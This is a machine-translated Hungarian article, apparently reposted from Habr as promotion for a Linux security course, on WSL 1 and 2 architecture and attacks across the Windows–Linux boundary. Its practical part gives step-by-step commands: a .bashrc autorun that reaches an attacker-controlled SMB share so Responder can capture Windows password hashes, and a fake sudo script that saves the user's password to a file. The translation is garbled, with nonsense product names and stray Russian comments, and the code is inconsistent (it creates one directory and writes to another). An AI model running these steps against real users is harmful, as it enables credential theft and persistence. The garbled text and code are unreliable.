WSL kísérletek. 1. rész

Szia habr! Az OTUS októberben új tanfolyamot indít "Linux biztonság". A tanfolyam kezdetére számítva megosztunk veletek egy cikket, amelyet egyik tanárunk, Alekszandr Kolesnikov írt.

WSL kísérletek. 1. rész

2016-ban a Microsoft bemutatta az új WSL technológiát az informatikai közösségnek (Woldalablakokra Salrendszer számára Linux), amely a jövőben lehetővé tette a korábban kibékíthetetlen versenytársak egyesítését, akik mind a hétköznapi, mind a haladó operációs rendszer-felhasználók körében harcoltak a népszerűségért: Windows és Linux. Ez a technológia lehetővé tette a Linux operációs rendszer eszközeinek használatát Windows környezetben anélkül, hogy Linuxot kellett volna futtatni, például Multi-boot használatával. A Habron számos cikk található a WSL használatának előnyeiről. Sajnos azonban a cikk elkészítésekor nem találtak tanulmányokat az operációs rendszerek ilyen szimbiózisának biztonságáról ezen az erőforráson. Ez a bejegyzés egy kísérlet lesz ennek kijavítására. A cikk a WSL 1 és 2 architektúrák jellemzőiről fog beszélni, és számos példát megvizsgál az ezeket a technológiákat használó rendszerek elleni támadásokra. A cikk 2 részre oszlik. Az első a Linux és a Windows fő elméleti támadási módszereit tartalmazza. A második cikk egy tesztkörnyezet beállítását és a támadások reprodukálását foglalja magában.

WSL 1: építészeti jellemzők

A WSL biztonsági kérdések legpontosabb merülése érdekében meg kell határozni az alrendszer megvalósításával kapcsolatos főbb árnyalatokat. A WSL által megoldott egyik fő felhasználói feladat a Linux terminálon keresztüli munkavégzés lehetősége Windows operációs rendszert futtató gazdagépen. Ezenkívül a kínált kompatibilitás olyan natív volt, hogy a Linux futtatható fájlok (ELF) közvetlenül futtathatók Windows rendszeren. E célok elérése érdekében a Windows 10-ben egy speciális alrendszert hoztak létre, amely lehetővé teszi Linux-alkalmazások futtatását meghatározott rendszerhívások segítségével – így kísérlet történt a Linux rendszerhívások halmazának leképezésére Windows rendszeren. Ezt fizikailag új illesztőprogramok és új folyamatformátum hozzáadásával valósították meg. Az architektúra vizuálisan így nézett ki:

WSL kísérletek. 1. rész

Valójában a Linux operációs rendszerrel való interakciót több kernelmodulon és egy speciális folyamaton, a pico-n keresztül szervezték meg. A fenti diagramból láthatja, hogy a gazdagépen futó Linux-példányon futó folyamatnak natívnak kell lennie, és ugyanazokat az erőforrásokat kell használnia, mint a normál Windows-alkalmazásoknak. De hogyan lehet ezt elérni? Projektben Felvonóhíd A Windowshoz olyan folyamatkoncepciókat fejlesztettek ki, amelyek az operációs rendszer összes szükséges összetevőjét (verziójától függően) biztosítják egy másik operációs rendszer alkalmazásának futtatásához.

Vegye figyelembe, hogy a javasolt absztrakció lehetővé tette, hogy ne az operációs rendszerre (különösen a Windowsra) összpontosítsunk, amelyben egy másik operációs rendszer folyamata várható, és általános megközelítést javasolt.

Így a pico folyamaton belüli bármely alkalmazás futhat a Windows kerneltől függetlenül:

  1. A rendszerhívások kompatibilitási és fordítási problémáit speciális szolgáltatóknak kell megoldaniuk;
  2. A hozzáférés-ellenőrzést a Security Monitoron keresztül kell végrehajtani. A monitor a kernelben található, ezért a Windowsnak frissítésre volt szüksége egy új illesztőprogram formájában, amely szolgáltatóként szolgálhatna az ilyen folyamatokhoz. A prototípus pico folyamat sematikusan az alábbiakban látható:

WSL kísérletek. 1. rész

Mivel a Linux fájlrendszer a kis- és nagybetűket megkülönböztető fájl- és könyvtárneveket használ, kétféle fájlrendszer került a Windowsba a WSL-lel való együttműködéshez – VolFS és DriveFS. A VolFS a Linux fájlrendszer megvalósítása, a DriveFS egy olyan fájlrendszer, amely a Windows szabályai szerint működik, de képes kiválasztani a kis- és nagybetűk érzékenységét.

WSL 2

A WSL 1-nek számos korlátja volt, amelyek nem tették lehetővé a maximális feladatkör megoldását: például nem volt képes 32 bites Linux-alkalmazások futtatására, és nem lehetett eszközillesztőket használni. Ezért 2020-ban megjelent a WSL 2, amely megváltoztatta az alrendszer felépítésének megközelítését. A WSL 2 egy optimalizált virtuális gép, amely megfelel a WSL 1 erőforrás-fogyasztási jellemzőinek. Most, a Windows operációs rendszer felhasználója által megoldott problémáktól függően, kiválaszthatja a Linux alrendszer kívánt verzióját. A lehetséges sebezhetőségek csökkentése érdekében a WSL 2-t a Hyper-V alapján implementálták a Windows 10 rendszerben. Ebben a formában a Windows képes a Linux operációs rendszer kernelt elkülönítve futtatni. Érdemes megjegyezni, hogy a WSL 1-es verzióját béta funkcióként vezették be, aminek a Windows fejlesztési irányát kellett volna mutatnia ezen a területen, így elkerülhetetlen volt a Hyper-V-re való átállás. A végső architektúra így néz ki:

WSL kísérletek. 1. rész

Ebben a verzióban a Windows és Linux kernelek saját erőforrásokkal rendelkeznek, és a metszéspont csak a fájlrendszerben létezik, de ez a metszéspont nem teljes. A fájlrendszerek közötti interakciót egy kliens-szerver burkoló végzi, amely a 9P protokollt használja.

Ma a Microsoft lehetőséget biztosít a WSL 1 és WSL 2 közötti váltásra. Mindkét verzió használható.

WSL biztonság

Jelenleg több munka is leír néhány megközelítést az operációs rendszer legitim eszközeinek használatára az alrendszerek közötti kommunikáció megtámadására. A szkriptjeik segítségével ellenőrizzük a támadások relevanciáját az írás idején. A támadások és forgatókönyvek általános listája:

1. Fájlrendszer megvalósítása: hozzáférési jogok, megosztott könyvtárak/adatcsere mechanizmusok elérhetősége.

Kutatást végeztek a hozzáférési szabályok megsértésének megállapítására Linux FS->Windows FS, Windows FS->Linux FS. A kutatások bebizonyították, hogy egy adott fájl módosítható a cél operációs rendszeren belül. Kísérletek történtek a fájlrendszerek helyettesítésére, másolatok létrehozására és egy részének törlésére is.

Forgatókönyv:

  • V. Támadás a Windows operációs rendszerből – fájlok módosítása a Linux operációs rendszer /etc könyvtárából.
  • B. Támadás a Linux operációs rendszertől – fájlok módosítása a könyvtárakban: C:Windows, C:Program Files, C:Users<User>

2. A hálózati verem megvalósítása.

A kutatást a Linux operációs rendszer Windows-on végrehajtott támadásainak példái alapján végezték. A hálózati verem jellemzőit használták, nevezetesen a hitelesítési mechanizmusokat különböző erőforrásokon.

Forgatókönyv:

  • Hozzáférés megnyitása egy Windows rendszeren lefoglalt porthoz
  • Port megnyitása megfelelő jogosultságok nélkül
  • Reverse shell futtatása elf fájl használatával Windows operációs rendszeren.

3. Rosszindulatú szoftveres folyamatok elindításának elrejtése a WSL alrendszer használatával.

A kutatás egy egyszerű tényen alapult: a biztonsági alrendszerek nem tudják elfogni az eseményeket egy másik kernelben, amely az operációs rendszer legitim szolgáltatójával működik WSL 1 esetén. A WSL 2 esetében nincs mód a bekövetkező események megtekintésére. egy külön kernelben a könnyű virtuális gépen belül.

Forgatókönyv:

1) Indítsa el az alkalmazást a rendszer távoli eléréséhez, és tekintse meg a naplózott eseményeket.

WSL 1 kísérletek: hash elfogás (Windows)

Végül elérkeztünk a gyakorlati részhez. Először is be kell állítania a tesztkörnyezetet. Minden kísérletet egy padon hajtanak végre, ahol Windows 10 2004 van telepítve. Az Ubuntu 18.04 lemezképet választották a WSL operációs rendszer lemezképének. A kép véletlenszerűen lett kiválasztva, és minden más ugyanúgy működik. Parancsok az állvány felállításához:

Először el kell indítania powershell.exe rendszergazdaként.

WSL 1 esetén a következő parancsokat kell futtatnia:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Az állvány újraindítása után hívhatja a bash parancsot. Ha minden megfelelően működött, a Windows konzolon ehhez hasonló kimenetet fog látni:

    WSL kísérletek. 1. rész

    A Kali Linux disztribúciót fogjuk használni a támadó gépeként; minden gépnek ugyanazon a helyi hálózaton kell lennie.

    Tételezzük fel, hogy kiváltságtalan hozzáféréssel rendelkezünk a WSL-hez egy Windows gépen. Próbáljuk meg támadni a Linux operációs rendszert egy Linux parancs meghívásával. A támadás megvalósításához egy egyszerű automatikus futtatási technikát fogunk használni - hozzáadjuk a szkriptünket a Linux környezetben való végrehajtáshoz. Ehhez meg kell változtatnia a fájlt .bashrc.

    WSL-t használó gépen a következőket hajtjuk végre:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux gépen futunk:

    1. Responder -I eth0 -rdvw

    Windows gépen indítsuk el a bash-t.

    Várjuk az eredményt a Kali Linux gépen:

    WSL kísérletek. 1. rész

    Így a Windows felhasználói kivonatokat a WSL alrendszeren keresztül kaptuk meg a parancs végrehajtásával a Linux rendszeren.

    WSL 1 kísérletek: felhasználói jelszó beszerzése (Linux OS)

    Végezzünk még egy kísérletet. Az ellenőrzés során hozzáadjuk a fájlt .bashrc több parancsot a Linux operációs rendszer felhasználói jelszavának beszerzéséhez.

    Indítsuk el a bash-t, és írjuk be a parancsokat:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    A támadás sikeres befejezéséhez Sam felhasználónak meg kell hívnia a sudo-t a Linux terminálon. Ezt követően a Linux operációs rendszer felhasználói jelszava a fájlban lesz pass.txt:

    WSL kísérletek. 1. rész

    A támadások végrehajtása csak elméleti tájékoztatásul szolgált.

    A cikk következő része leírja a 9P protokoll megvalósítását, fontolóra veszi egy szkenner létrehozását ehhez a protokollhoz, és támadást is hajt végre a használatával.

    A felhasznált irodalom jegyzéke

    WSL kísérletek. 1. rész

    Olvass tovább

    Forrás: will.com

    Hozzászólás